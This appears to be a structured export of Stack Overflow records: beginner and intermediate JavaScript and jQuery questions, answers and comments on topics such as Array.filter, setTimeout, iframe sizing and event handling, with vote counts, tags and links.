has body: I'm working through JavaScript: The Definitive Guide as part of Learn JavaScript Properly, and I'm having trouble reasoning about the filter() method in Chapter 7's section on Array Methods. Here's the example provided: The filter() method returns an array containing a subset of the elements of the array on which it is invoked. The function you pass to it should be predicate: a function that returns true or false. The predicate is invoked just as for forEach() and map(). If the return value is true, or a value that converts to true, then the element passed to the predicate is a member of the subset and is added to the array that will become the return value. Examples: a = [5, 4, 3, 2, 1]; smallvalues = a.filter(function(x) { return x &lt; 3 }); // [2, 1] everyother = a.filter(function(x,i) { return i%2==0 }); // [5, 3, 1] Where I'm getting confused is how exactly i is applied to x in the the everyother line. Here's what I think is happening: i (the index of a[]) is being passed through the function ,x, which applies the predicate to each element of a[] and returns [4, 2]. Then the function says "filter [4, 2] out of a[]"...I'm real fuzzy on how. When I mess around in the console, I've tried: everyother = a.filter(function(i) { return i%2==0 }); // returns [4, 2] which is what I would expect, but I don't understand what happens internally in how JS handles the parameters when I change the above code to everyother = a.filter(function(x,i) { return i%2==0 }); // returns [5, 3, 1] (I do know that the array methods are applied like so: function(element, index, array)) For this particular example, it's obvious to me that I could get the expected result another way: everyother = a.filter(function(x) { return x%2!=0 }); // returns [5, 3, 1] But I suspect that line of thinking is precisely missing the point the example is trying to get across...I'm just missing it.
has answer: http://stackoverflow.com/a/44629475
upvote count: 10
type: Question
has answer: http://stackoverflow.com/a/25585482
has title: JavaScript filter() method confusion
downvote count: 0
tagged with: javascript
answer count: 6
has comment: http://stackoverflow.com/comment/39961823
has comment: http://stackoverflow.com/comment/39961885
score: 10

http://stackoverflow.com/q/25648615
score: 5
downvote count: 0
tagged with: javascript
has comment: http://stackoverflow.com/comment/77606174
has comment: http://stackoverflow.com/comment/77613082
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/77562663
favorite count: 0
has comment: http://stackoverflow.com/comment/77455534
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40624904
has title: Safari for Mac ignoring HTML5 download filename
tagged with: safari
answer count: 0
upvote count: 5
has comment: http://stackoverflow.com/comment/77564810
has body: I have a map web app and want to be able to save route data in a GPX file. To do this I am generating an anchor tag containing the data and using the HTML5 download property to set the file name. This works as expected on OS X (10.9.4) in both Firefox (29.0.1) and Chrome (37.0.2062.94), but in Safari (7.0.6) it is ignoring the name in the download attribute and saving a file called simply "Unknown". This is the link in my HTML file: Save to GPX In this is how it is linked up in my Javascript file (using jQuery): function exportToGPX( gpxData ) { gpxData = 'data:application/gpx+xml;charset=utf-8,' + encodeURIComponent( gpxData ); $( '#map_save' ).attr( { 'href': gpxData ,'download': 'myfile.gpx' } ); } $( document ).ready( function() { $( '#map_save' ).click( function( event ) { exportToGPX.apply(); } ); } ); Everything I have seen suggests that Safari should honour this attribute, and it is presumably not a WebKit issue if it works in Chrome. Using the Web Inspector to view the DOM Tree shows the attribute is correctly applied: ​Save to GPX​​ As I say, it does download the file, just without giving it a proper name. Is there anything I am doing wrong or need to also do to make this work properly in Safari?
has comment: http://stackoverflow.com/comment/77577004
type: Question

http://stackoverflow.com/comment/39999870
type: Comment
has text: @RyanJantzen: PS. Add `http://` in front of your URL's to automagically make them links here in comments.
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/25599593

http://stackoverflow.com/comment/40056932
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25619064
has text: @c00000fd Oftentimes though you don't expect that value to change through runtime.. Cache it.
type: AnswerComment

http://stackoverflow.com/q/25599395
downvote count: 0
has title: How can create a link to redirect with post method
score: 1
has answer: http://stackoverflow.com/a/25599794
type: Question
has answer: http://stackoverflow.com/a/25599837
possible better answer: http://stackoverflow.com/a/25599518
accepted answer: http://stackoverflow.com/a/25599837
upvote count: 1
tagged with: javascript
tagged with: jquery
favorite count: 0
answer count: 3
has answer: http://stackoverflow.com/a/25599518
has body: I want to create a link that redirect to a page with POST method of data. Is there any simple function to do this with Jquery? Some thing like below code (without redirect to page) &lt;script language="javascript"&gt; function DoPost(id){ $.post("http://www.jooyeshgar.dev/desktop/module.php?op=users&amp;f=email", { fn: "read", time: id } ); //Your values here.. } &lt;/script&gt; And &lt;a href='javascript:DoPost({$row_email['id']})'&gt; Thanks for your help
type: AnsweredQuestion

http://stackoverflow.com/q/25666407
answer count: 2
has comment: http://stackoverflow.com/comment/40121989
upvote count: 1
tagged with: jquery
favorite count: 0
linked to: http://stackoverflow.com/q/9162933
accepted answer: http://stackoverflow.com/a/25666679
type: AnsweredQuestion
downvote count: 0
score: 1
tagged with: iframe
has comment: http://stackoverflow.com/comment/40109181
possible better answer: http://stackoverflow.com/a/25666579
type: Question
has answer: http://stackoverflow.com/a/25666679
has answer: http://stackoverflow.com/a/25666579
has title: Change iframe height after content update
tagged with: javascript
has body: I have some tabs on my page, and inside one tab of that page I have an iframe (#quiz_iframe). This iframe is quiz frame, which is contained in a div (.quiz-div). After hitting a button (.start-quiz), quiz is loaded, and new div (.quiz-content) appears inside (.quiz-div). In quiz content I have 20 another divs (.quiz-question), which are paginated, so after clicking a button next, prev, you can hide or show 5 next/prev divs. Well the point is, I'd like to adjust iframe height to that content and I don't know how, after clicking .start-quiz. Now I have a code which works fine, when the iframe is loaded for the first time (it adjust height to the laoded content) function iframeLoaded() { var iFrameID = document.getElementById('quiz_iframe'); if(iFrameID) { iFrameID.height = ""; iFrameID.height = iFrameID.contentWindow.document.body.scrollHeight + "px"; } } &lt;iframe onload="iframeLoaded()" id="quiz_iframe" src="'.$link.'" style="width:100%;"&gt;&lt;/iframe&gt;' How I can modify that code, to update iframe height on every .quiz-div height change? And yes, iframe is in the same domain :) Thanks!

http://stackoverflow.com/q/25708948
type: AnsweredQuestion
downvote count: 0
type: Question
tagged with: javascript
score: 4
has answer: http://stackoverflow.com/a/25709071
accepted answer: http://stackoverflow.com/a/25709071
has body: I'm trying to use Pace preloader plugin. I want to disable all automatic preloader and i want to happen on particular event. I checked the document and i given code like below Pace.options = { ajax: false, document: false, eventLag: false, elements:false } If i give this before pace.js inclusion then i might get a error saying it is undefined. But i cannot include it after the inclusion of the script also, as it is called automatically and immediately. So i tried the following window option window.paceOptions = { ajax: false, document: false, eventLag: false, elements:false } and tried another code using HTML data option &lt;script data-pace-options='{ "document":false,"eventLag:":false,"elements":false,"ajax": false }' src="../pace.js"&gt;&lt;/script&gt; But none worked. I'm seeing the preloader when the page is loaded. I don't want to get it. How to disable it?
has title: How to disable all automatic pace preloader event
answer count: 1
favorite count: 0
tagged with: plugins
upvote count: 4

http://stackoverflow.com/q/25673827
has answer: http://stackoverflow.com/a/25674009
type: Question
answer count: 1
downvote count: 0
tagged with: javascript
has comment: http://stackoverflow.com/comment/40122955
has comment: http://stackoverflow.com/comment/40122906
favorite count: 0
score: 2
has comment: http://stackoverflow.com/comment/40122973
has comment: http://stackoverflow.com/comment/40122938
upvote count: 2
type: UnansweredQuestion
has body: I am new here and new to JV/web-dev and trying to create a light-weight reaction game in JS and running into a few issues: I am trying to initialize the game once a button is clicked, but I am finding that upon page refresh the game starts on it's own? I call the button fxn "time_init()" at the bottom of the script but it still loads on its own? How do I go about making the game only go for a set time like 15seconds? It continues on...? I feel the setTimeout method is lacking or i'm using it wrong? Lastly, if I want to count the number of times a square is clicked versus a circle and output their reaction time after that, what is the best way to do it? I'm thinking just creating a while-loop that just counts the number of times a square is clicked while the game is being played.. Here is the code I have so far: Your time: 0s var clickedTime; var createdTime; var reactionTime; function getRandomColor() { var letters = '0123456789ABCDEF'.split(''); var color = '#'; for (var i = 0; i < 6; i++) { color +=letters[Math.round(Math.random() * 15)]; } return color; } function time_init() { setTimeout('makeBox()', 1000);} function makeBox() { var time=Math.random(); time=time*1500; setTimeout(function() { if (Math.random()>0.5) { document.getElementById("box").style.borderRadius="100px"; } else { document.getElementById("box").style.borderRadius=""; } var top=Math.random(); top=top*500; var left=Math.random(); left=left*800; document.getElementById("box").style.top=top+"px"; document.getElementById("box").style.left=left+"px"; document.getElementById("box").style.backgroundColor=getRandomColor(); document.getElementById("box").style.display="block"; createdTime=Date.now(); }, time); } document.getElementById("box").onclick=function() { clickedTime=Date.now(); reactionTime= (clickedTime - createdTime)/1000; document.getElementById("time").innerHTML=reactionTime; this.style.display="none"; makeBox(); } time_init();
has comment: http://stackoverflow.com/comment/40123007
has comment: http://stackoverflow.com/comment/40122911
has title: setTimeout conflict in Javascript
has comment: http://stackoverflow.com/comment/40122833
tagged with: settimeout
has comment: http://stackoverflow.com/comment/40122818

http://stackoverflow.com/q/25620798
has title: variable scope in express node.js
has comment: http://stackoverflow.com/comment/40026718
tagged with: variables
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40027026
tagged with: node.js
has body: This is my following code I'm unable to get the 'check'variable value can you find the issue where I made mistake :-) checkUsr = function() { var q1 = "select * from Mytable where id='123';"; var check= null; con.query(q1, function(error, rows, fields) { if(error) { console.info('11111111'); check={ "response":"error", "responseString": JSON.stringify(error) }; // return check; } else { console.info('222222222'); if(rows.length&gt;0){ check = { "response":"error", "responseString": "already sent" }; // return check; }else{ console.info('33333333'); check= { "response":"success", "responseString":"go ahead..!!" }; // return check; } } return check; }); return check; } checkUsr(); expected value the value of check object inside the if/else block But output null
answer count: 0
linked to: http://stackoverflow.com/q/6847697
score: 0
has comment: http://stackoverflow.com/comment/40028095
has comment: http://stackoverflow.com/comment/40026860
type: Question
duplicate of: http://stackoverflow.com/q/6847697
tagged with: javascript

http://stackoverflow.com/comment/39906922
comment on: http://stackoverflow.com/q/25555986
score: 0
type: Comment
type: QuestionComment
has text: What do you mean by disable the div middle-size?

http://stackoverflow.com/a/25705938
answers question: http://stackoverflow.com/q/25705870
upvote count: 1
type: Answer
has body: If, by chance, you need to support IE &lt; 8, you can use document.getElementsByTagName("form").length &gt; 0
downvote count: 0
score: 1

http://stackoverflow.com/a/25615663
type: Answer
has body: I'm not really sure if there's a 'proper' way of including Backbone.js and Underscore.js so what I did was the simple and in my html.
score: 1
upvote count: 1
accepted answer of: http://stackoverflow.com/q/25609806
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/25609806

http://stackoverflow.com/comment/40085581
type: Comment
score: 0
type: AnswerComment
has text: Thanks that did it! I kept trying (amount.toFixed(2) / 100) but I see how that makes a lot more sense. I'm really new to javascript so the other threads weren't making sense to me.
comment on: http://stackoverflow.com/a/25652958

http://stackoverflow.com/a/25572678
has body: This line if (document.getElementById('binary').checked = true) { should be if (document.getElementById('binary').checked == true) { or if (!!document.getElementById('binary').checked) { no?
has comment: http://stackoverflow.com/comment/40005340
score: 0
answers question: http://stackoverflow.com/q/25572474
has comment: http://stackoverflow.com/comment/39938775
type: Answer

http://stackoverflow.com/a/25552805
has comment: http://stackoverflow.com/comment/39903376
has comment: http://stackoverflow.com/comment/39902653
score: 0
has comment: http://stackoverflow.com/comment/39901132
has comment: http://stackoverflow.com/comment/39901397
has comment: http://stackoverflow.com/comment/39900736
type: Answer
has comment: http://stackoverflow.com/comment/39902769
has comment: http://stackoverflow.com/comment/39902572
has comment: http://stackoverflow.com/comment/39903063
has comment: http://stackoverflow.com/comment/39900902
has comment: http://stackoverflow.com/comment/39902107
has body: Edit , jquery deferred , promise not actually needed to achieve requirement . See comment and link by Bergi , below. Try (this pattern ; without jquery.deferred or promise's) (function recursion() { var tree = [1, 2 ,3, 4] , results = [] , dfd = function(res) { alert('All calls are done!'); console.log(res) }; $.each(tree, function(k, v) { $.ajax("http://example.com/" + v) .done(function (data, status, jqxhr) { // data is array results.push([data, status, jqxhr.state()]); if (results.length === tree.length) { dfd(results); } }); }); }()); jsfiddle http://jsfiddle.net/guest271314/nvs0jb6m/
has comment: http://stackoverflow.com/comment/39902129
has comment: http://stackoverflow.com/comment/39902357
has comment: http://stackoverflow.com/comment/39900762
answers question: http://stackoverflow.com/q/25551043

http://stackoverflow.com/a/25556584
type: Answer
downvote count: 1
upvote count: 3
score: 2
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25556526
has comment: http://stackoverflow.com/comment/39908011
has body: _0x15x3 is not a declared variable, it's the parameter name: function (_0x15x3){$(head)[append](_0x15x3);} You could change it to: function (response){ $(head).append(response); }
answers question: http://stackoverflow.com/q/25556526

http://stackoverflow.com/q/25619401
type: Question
linked to: http://stackoverflow.com/q/166221
has comment: http://stackoverflow.com/comment/40040933
has comment: http://stackoverflow.com/comment/40024188
has title: How to update a form and submit using jquery and ajax
has answer: http://stackoverflow.com/a/25619957
has body: I am trying to submit a form using Ajax, but my form contains a file field and a text field. The file field fails but the text field work THE FORM Submit THE JS SCRIPT FOR SUBMISSION $('#page').validate({ rules: { image:{ required: true }, text:{ required: true } }, messages: { image: { required: "required" }, text: { required: "required" } }, submitHandler : function(){ $.ajax({ type: "POST", cache:false, url: "finish.html", data: $('#page').serialize(), success: function(data) { alert(data); } }); }); Im really new to javascript and jquery, please I want to know where I am going wrong. Thanks for helping.
tagged with: javascript
tagged with: jquery
tagged with: ajax
has comment: http://stackoverflow.com/comment/40024204
answer count: 1
downvote count: 0
favorite count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40024876
has comment: http://stackoverflow.com/comment/40024103
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/40040170
tagged with: forms

http://stackoverflow.com/comment/39931659
comment on: http://stackoverflow.com/a/25568557
type: AnswerComment
score: 0
type: Comment
has text: I thought that the sidebar code was in that file but I was wrong. I'll modify my answer.

http://stackoverflow.com/q/25592023
accepted answer: http://stackoverflow.com/a/25592129
tagged with: javascript
tagged with: scope
has body: Ok. Let me tell you my problem so simple. When I give some event(like 'click') on element, some case it doesn't work. For example, I give trigger on id 'abc'... event of this element works fine : 123123123 But this isn't : 123123 I don't know why. Below is the code : entrance = document.getElementById('entrance'); joinSite = document.getElementById('joinSite'); // Event controller for multi browsers. var Event = { add: function(element, type, handler) { if (element.addEventListener) { element.addEventListener(type, handler, true); } else if (element.attachEvent) { element.attachEvent("on" + type, handler); } else { element["on" + type] = handler; } }, remove: function(element, type, handler) { if (element.removeEventListener) { element.removeEventListener(type, handler, true); } else if (element.detachEvent) { element.detachEvent("on" + type, handler); } else { element["on" + type] = null; } }, getEvent: function(event) { return event ? event : window.event; }, getTarget: function(event) { return event.target || event.srcElement; }, preventDefault: function(event) { if (event.preventDefault) { event.preventDefault(); } else { event.returnValue = false; } }, stopPropagation: function(event) { if (event.stopPropagation) { event.stopPropagation(); } else { event.cancelBubble = true; } } } // Event delegation Event.add(document,'click',function(event) { event = Event.getEvent(event); target = Event.getTarget(event); switch(target.id) { case 'linkLogin': // test : works fine. entrance.style.display = 'block'; break; case 'linkJoin': // test : didn't work. alert('asdf'); break; } } ); I really don't know why. As I know, event capturing sequence will approach into the most lowest level of document if give 'true' option to event handler. "window - document - body - elements father - elements son" So if give an click event to 'document', the event will works if I click "elements son" inside document. But this time was not. even if I give true or false option on event handler…
type: AnsweredQuestion
tagged with: event-handling
type: Question
has answer: http://stackoverflow.com/a/25592129
score: 0
has comment: http://stackoverflow.com/comment/39974187
answer count: 1
has title: Js event handling on overlaped elements isn't work. is it about the scope? about true/false?

http://stackoverflow.com/comment/40083278
type: Comment
has text: Is this even real code? Are you extending `Function`'s `prototype`?
score: 0
comment on: http://stackoverflow.com/q/25651089
type: QuestionComment

http://stackoverflow.com/comment/40125235
has text: @chrisdew JSX is not a template language, it's syntactic sugar for plain old JavaScript. You won't get operators like you expect from template languages. Try pasting the code in this answer into the the live [JSX compiler](https://facebook.github.io/react/jsx-compiler.html) to understand what it's doing and why a `for` loop would never be possible.
comment on: http://stackoverflow.com/a/25647392
score: 1
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/40092035
score: 0
type: Comment
type: QuestionComment
has text: Please provide a proper explanation of the problem in the question, *not* the title.
comment on: http://stackoverflow.com/q/25656556

http://stackoverflow.com/a/25606631
has comment: http://stackoverflow.com/comment/40004354
answers question: http://stackoverflow.com/q/25606605
has body: Telephone: &lt;input type="tel" name="usrtel"&gt; This opens up a alphanummeric keyboard. This could be any number you want, not only a telephone number :-) The type "tel" is new and comes from html5. A overview about all input types can be find here: W3Schools Edit from Mon. 1st of Sept. 2014, 4:30pm: I'm editing my answer because of the answer Jonas Grumann has given. You should use the &lt;input type="tel" just for numbers only. Like the type described: telephonenumbers for example. This input type will not recognize it, if the user enters decimal numbers. If you want the user to enter decimalnumbers you have to do it with the here given answer "pattern" you should use them then like this: HTML &lt;input type="text"&gt; and JS (Please consider: These are commands for which you need jQuery/jQuery-mobile $('input[type="text"]').on('touchstart', function() { $(this).attr('type', 'number'); }); $('input[type="text"]').on('keydown blur', function() { $(this).attr('type', 'text'); }); And for the sake of completeness i'm going to quote the user that has given this answer here -> Force iOS numeric keyboard with custom currency pattern The idea is simple. The input starts off and ends up with type="text", but it briefly becomes type="number" on the touchstart event. This causes the correct iOS keyboard to appear. As soon as the user begins to enter any input or leave the field, the input becomes type="text" once again, thus circumventing the validation. There's one downside to this method. When the user returns to an input that has already been filled out, the input will be lost (if it doesn't validate). This means the user won't be able to go back and edit previous fields. In my case, this isn't all that bad because the user may want to use the calculator over and over again with different values, so automatically deleting the input will save them a few steps. However, this may not be ideal in all cases. It looks like Mobile Safari supports the new HTML5 input type attr…
has comment: http://stackoverflow.com/comment/40003948
score: 0
type: Answer
has comment: http://stackoverflow.com/comment/40004049
upvote count: 1
downvote count: 1

http://stackoverflow.com/comment/40194088
type: QuestionComment
comment on: http://stackoverflow.com/q/25712704
score: 0
has text: A for... loop is a blocking control structure. It already "waits" for the loop to be over before executing code below the loop. The only exception is if the function `parseFriends` does something asynchronous, like an AJAX request. If that's the case, then you'll have to implement some form of callback that you pass to the last call.
type: Comment

http://stackoverflow.com/comment/40095186
type: QuestionComment
comment on: http://stackoverflow.com/q/25658334
has text: Either get the new form with ajax or create with javascript on the fly
score: 0
type: Comment

http://stackoverflow.com/comment/40131783
has text: That gives an alert window with a blank message - which suggests it's an empty string. However, if I use: alert($('#select-company-type').find(":selected").text()); then I get the text of the selected option, so it looks like the value attribute isn't actually being set by the Mustache template.
score: 0
comment on: http://stackoverflow.com/q/25675248
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25638482
accepted answer: http://stackoverflow.com/a/25638538
type: Question
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40059958
has title: jquery Countdown timer NaN
answer count: 1
has comment: http://stackoverflow.com/comment/40058822
has body: Hi I'm new with JS and jQuery, and I have a problem with a simple countdown timer. When I type some value into input it translates into NaN (instead of number) in my countdown timer. Here is my code: $(function() { var $input = $('#time'), seconds = parseInt($input.val()), $start = $('button'); $start.on('click', function() { var interval = setInterval(function() { switch (seconds) { case 0: clearInterval(interval); console.log("Time's UP!"); break; case 1: console.log("Do końca pozostała " + seconds + " sekunda"); /*polish gramaticall variation*/ break; case 4: case 3: case 2: console.log("Do końca pozostało " + seconds + " sekundy"); /*polish gramaticall variation*/ break; default: console.log("Do końca pozostało " + seconds + " sekund"); /*polish gramaticall variation*/ } seconds = seconds - 1; }, 1000); }); }); HTML: Set time in seconds Start
has answer: http://stackoverflow.com/a/25638538
score: 0
tagged with: countdowntimer
has comment: http://stackoverflow.com/comment/40058752
type: AnsweredQuestion

http://stackoverflow.com/q/25554142
favorite count: 0
has body: I have unique question, and I know it might be asked before in some form, but the answers doesn't help me for my use case. I am using Cordova/Phonegap on WP8 and looking to change the UserAgent of that Browser to something other than the traditional. I know that you an use .Navigate(uri, null, "Custom Agent") - but since my WebView is open and never changing pages or navigating to another page (other than index.html) - I need to make sure all AJAX requests that originate from the CordovaView (WebBrowser) have a custom UserAgent. Is this possible?
tagged with: cordova
answer count: 0
downvote count: 0
type: UnansweredQuestion
tagged with: c#
score: 1
tagged with: windows-phone-8
has title: Change WebBrowser UserAgent via Cordova - Windows Phone 8
type: Question
upvote count: 1
tagged with: javascript
tagged with: http://stackoverflow.com/tag/html

http://stackoverflow.com/a/25615946
answers question: http://stackoverflow.com/q/25615923
type: Answer
upvote count: 2
has body: Because you're setting the style property twice. It's like saying: style="foo"; style="bar"; since, as far as jquery is concerned, this is just a variable. It won't magically add ";" for you. On the other hand you can. Just do this: $('#submitted').attr('style','top: 0 !important; right: 0 !important');
score: 2
downvote count: 0

http://stackoverflow.com/comment/40049840
comment on: http://stackoverflow.com/q/25633163
score: 1
has text: You don't, that's not how JavaScript works. You can change an object's *properties* from its reference, though.
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25588895
upvote count: 0
tagged with: return
type: Question
has answer: http://stackoverflow.com/a/25589168
has title: Return the value of a variable
has comment: http://stackoverflow.com/comment/39968641
tagged with: javascript
has comment: http://stackoverflow.com/comment/39968526
answer count: 1
tagged with: variables
tagged with: jquery
tagged with: countdown
favorite count: 0
downvote count: 3
type: UnansweredQuestion
score: -3
has body: Code: var n = 360; // 6 min of waiting after blocked function countDown() { n--; if (n > 0) { setTimeout(countDown, 1000); } $("span#waitcount").html(document.createTextNode(n)); } var count = 50; // Count of tokens when reached 0 block the page var counter = document.getElementById('counter'); var clickDisabled = false; $('.slotMachineButton').click(function() { if (clickDisabled) return; setTimeout(function() { count--; counter.innerHTML = count; if (count === 0) { $.blockUI({message: ' Thank you for Playing!!! Please wait for 6 munites to be able to play again. '}); setTimeout(function() { $.unblockUI({ onUnblock: function() { alert('Game has been resumed!!!'); } }); }, 10000); setTimeout(countDown, 1000); } }); clickDisabled = true; setTimeout(function() { clickDisabled = false; }, 3000); } Goal: When the token count reaches 0 return it to original value to start again another count, because whenever the count reaches zero it goes -1 and keeps going. When 6 min waiting is over start another waiting, I dont know if I got the code right for this part but please do check.
has comment: http://stackoverflow.com/comment/39968602

http://stackoverflow.com/comment/40115884
type: Comment
comment on: http://stackoverflow.com/q/25657655
type: QuestionComment
has text: This looks like an old version of AngularFire; you should start by noting the version info. Is there a reason that you can't simply put orders and delivery tracking data into their own paths, rather than deeply nested under parent nodes? It would greatly simplify the work here. One shouldn't [nest data just because you can](https://www.firebase.com/docs/web/guide/structuring-data.html).
score: 1

http://stackoverflow.com/a/25689227
type: Answer
score: 2
answers question: http://stackoverflow.com/q/25689129
upvote count: 2
has comment: http://stackoverflow.com/comment/40151242
downvote count: 0
has body: You can simply use siblings (less function calls!) in combination with this to traverse the DOM and then just toggle them away (or keep hide and show if you prefer). JSFiddle here $(".editButton").click(function () { $(this).toggle().siblings(".renameButton,.cancelRenameButton").toggle(); }); $(".cancelRenameButton").click(function () { $(this).toggle().siblings(".renameButton,.cancelRenameButton").toggle(); });

http://stackoverflow.com/a/25665689
score: 1
upvote count: 1
downvote count: 0
has body: Remove the :before,it is just the css part , it is not rendered with element, it is just use to add css before the element. you just need to write this: $(".box3 span.info").hover(function(){ $(".box3 h1").fadeOut(); });
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/25665643
type: Answer
accepted answer of: http://stackoverflow.com/q/25665643

http://stackoverflow.com/a/25644349
answers question: http://stackoverflow.com/q/25642716
upvote count: 1
has body: Well, I have done this with simple if condition so that in future if you want to list mini in one array and large in one array so you can do easily. I have checked the object property if matched then assigned to new list. here is my code. and check out demo here fiddle var list=[{ name:"Toyota minivan", id:"506", size: "large" }, { name:"Honda Civic", id:"619", size: "mini" }, {name:"zen",id:"606",size:"mini"}]; var result=_.filter(list, function(obj){ if(obj.size=='mini'){ var matchedcars=obj; console.log("result"+JSON.stringify(matchedcars)); } return matchedcars; }); alert("result"+JSON.stringify(result));
type: Answer
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/40071924
has comment: http://stackoverflow.com/comment/40072310

http://stackoverflow.com/comment/40108055
type: AnswerComment
comment on: http://stackoverflow.com/a/25664817
type: Comment
has text: Where would I set that `$scope.query = "";` so that the form would pick it up when I navigate somewhere that ISN'T the search page?
score: 0

http://stackoverflow.com/a/25580924
upvote count: 1
accepted answer of: http://stackoverflow.com/q/25580861
answers question: http://stackoverflow.com/q/25580861
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/39954418
has comment: http://stackoverflow.com/comment/39953953
downvote count: 0
has body: You forgot a ": $('#dataArea').html(' '); for (var i in data.area) { $('#dataArea').append("" + data.area[i].name + " ";) }
has comment: http://stackoverflow.com/comment/39953965
has comment: http://stackoverflow.com/comment/39954125
type: Answer
has comment: http://stackoverflow.com/comment/39954612
score: 1

http://stackoverflow.com/a/25556008
accepted answer of: http://stackoverflow.com/q/25555870
type: Answer
has body: If you don't want to use an AJAX call (?... see comments), There is a classic way to submit your form, but this results in reloading the actual page: The form is in the same script as the logic is. In your case, that would be readFile.php. Use the $_SERVER['PHP_SELF'] as form action: <form action="<?php echo $_SERVER['PHP_SELF'] ?>" method="post" enctype="multipart/form-data"> Filename: The form will be submitted to the actual page. From the docs: $_SERVER is an array containing information such as headers, paths, and script locations. ... 'PHP_SELF' The filename of the currently executing script, relative to the document root....
downvote count: 0
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/25555870
type: AcceptedAnswer

http://stackoverflow.com/a/25591461
has comment: http://stackoverflow.com/comment/39973172
score: 0
has body: Are you sure that your settings in Safari are right? Cookies should normally stay saved, even on Safari for iOS. Maybe try this: http://support.apple.com/kb/TS4207
has comment: http://stackoverflow.com/comment/39973152
type: Answer
has comment: http://stackoverflow.com/comment/39973129
answers question: http://stackoverflow.com/q/25591433

http://stackoverflow.com/q/25609354
upvote count: 1
tagged with: python
has body: How to open javascript link in mechanize: Place Order
type: Question
has answer: http://stackoverflow.com/a/25609429
answer count: 1
tagged with: javascript
score: -1
has title: Mechanize open javascript link python
favorite count: 0
tagged with: mechanize
type: UnansweredQuestion
downvote count: 2

http://stackoverflow.com/q/25697055
tagged with: javascript
tagged with: jquery
has answer: http://stackoverflow.com/a/25697161
favorite count: 0
score: 0
has answer: http://stackoverflow.com/a/25697073
tagged with: http://stackoverflow.com/tag/html
has body: I'm playing around with jQuery, and am having some trouble alerting a message on change of my select drop down element: html: Choose a fruit Orange Mango my js: $('#fruits').on('change', function() { alert('Hello!'); }); When I run this in Chrome, I don't get any warnings in my console, and changing the select option does nothing. Any idea what I'm doing wrong?
type: AnsweredQuestion
upvote count: 1
has comment: http://stackoverflow.com/comment/40165693
downvote count: 1
type: Question
accepted answer: http://stackoverflow.com/a/25697073
possible better answer: http://stackoverflow.com/a/25697088
has answer: http://stackoverflow.com/a/25697088
answer count: 3
has title: Trying to alert message on change of a select element

http://stackoverflow.com/comment/40146850
type: QuestionComment
has text: you can test it using SO itself... go to the console and try both of the scripts... `$._data($(document), "events");` returns `undefined` where as `$._data(document, "events");` returns an object
comment on: http://stackoverflow.com/q/25687246
score: 0
type: Comment

http://stackoverflow.com/q/25676557
upvote count: 1
answer count: 4
has answer: http://stackoverflow.com/a/25676642
type: AnsweredQuestion
has body: My question is how I can use the back button of the browser to reverse i.e. a DOM... Here's another example: I have a function, which edits the color of a text from black to blue. Now I want, that when the back button is pressed, the text will be black again. An code example would be nice ;) Thx and greetings Franz
possible better answer: http://stackoverflow.com/a/25676644
score: 1
tagged with: back-button
type: Question
has title: Javascript & back button
has answer: http://stackoverflow.com/a/25676644
tagged with: javascript
has answer: http://stackoverflow.com/a/25676848
has answer: http://stackoverflow.com/a/25676774
has comment: http://stackoverflow.com/comment/40128095
accepted answer: http://stackoverflow.com/a/25676774
downvote count: 0
favorite count: 0
tagged with: back

http://stackoverflow.com/q/25614096
type: Question
has body: I am new to unit testing and I am trying to understand how to unit test node.js project but I am unsure why my current test is not working. I have 2 files fed.js (src) and fed.spec.js (spec) This is the error I am getting when I run this... Error: Snap should return 142 Expected undefined to be 142. Error: Expected undefined to be 142. The Jist: I am trying to run a test to ensure that the variable AllowanceAdditional (located in fed.js) is equal to 142. So I ran a jasmine unit test (located in fed.spec.js) and stated that I expected AllowanceAdditional to equal (==) or to be (===) 142. But The error I get returned is that AllowanceAdditional is undefined... Can someone educate me or point me in the right direction, I don't understand why this is not working. What am I doing wrong? I hope my question makes sense, if not please tell me and I will further clarify
tagged with: javascript
has title: Unit Testing node.js using jasmine unit testing framework
upvote count: 1
answer count: 1
tagged with: jasmine
favorite count: 0
has comment: http://stackoverflow.com/comment/40014598
type: UnansweredQuestion
tagged with: node.js
has answer: http://stackoverflow.com/a/25614489
downvote count: 0
score: 1
tagged with: unit-testing

http://stackoverflow.com/q/25604585
tagged with: toggle
possible better answer: http://stackoverflow.com/a/25608587
type: Question
has answer: http://stackoverflow.com/a/25608587
answer count: 2
upvote count: 0
has body: i am trying implement slidetoggle on class. i have many class but same. it will dynamic so class name same but will be much content. but it not working. i just want when i click caption then captionbox will open and when i click close then captionbox will be close. save close Delete caption save close Delete caption save close Delete caption i got many answer in stackoverlflow and i tried many but not really work. may be i am missing something. $(".caption").hover(function(){ $(this).find('.captionbox').slideToggle(); }); in my demo have many js code which i commented. guys can check. http://jsfiddle.net/t2j162bv/1/ demo
has answer: http://stackoverflow.com/a/25604676
tagged with: javascript
tagged with: jquery
score: -1
has comment: http://stackoverflow.com/comment/39997247
favorite count: 0
accepted answer: http://stackoverflow.com/a/25604676
downvote count: 1
type: AnsweredQuestion
has title: slideToggle from same DIV classes
tagged with: slidetoggle

http://stackoverflow.com/q/25573010
tagged with: ajax
score: 0
